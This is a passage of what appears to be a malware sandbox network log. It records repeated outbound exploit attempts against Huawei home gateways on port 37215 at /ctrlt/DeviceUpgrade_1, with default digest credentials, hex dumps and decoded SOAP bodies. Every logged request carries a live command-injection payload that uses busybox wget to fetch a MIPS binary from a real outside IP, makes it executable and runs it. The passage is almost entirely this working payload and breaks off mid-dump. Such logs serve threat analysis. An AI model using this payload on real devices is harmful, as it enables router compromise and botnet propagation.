xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.23	57288	197.45.25.85	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259197950 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.23	34126	197.16.225.51	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259243011 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.23	44494	156.41.49.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259280920 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.23	46300	197.159.67.191	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259393930 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.23	34526	41.179.125.3	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259624958 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.23	53642	197.239.183.143	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259666920 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.23	42860	156.86.90.224	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259706974 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.23	55908	197.165.52.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259764910 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.23	38666	197.174.153.53	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259864092 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.23	60760	41.102.253.127	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259917974 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.23	33794	156.84.73.50	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259968996 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 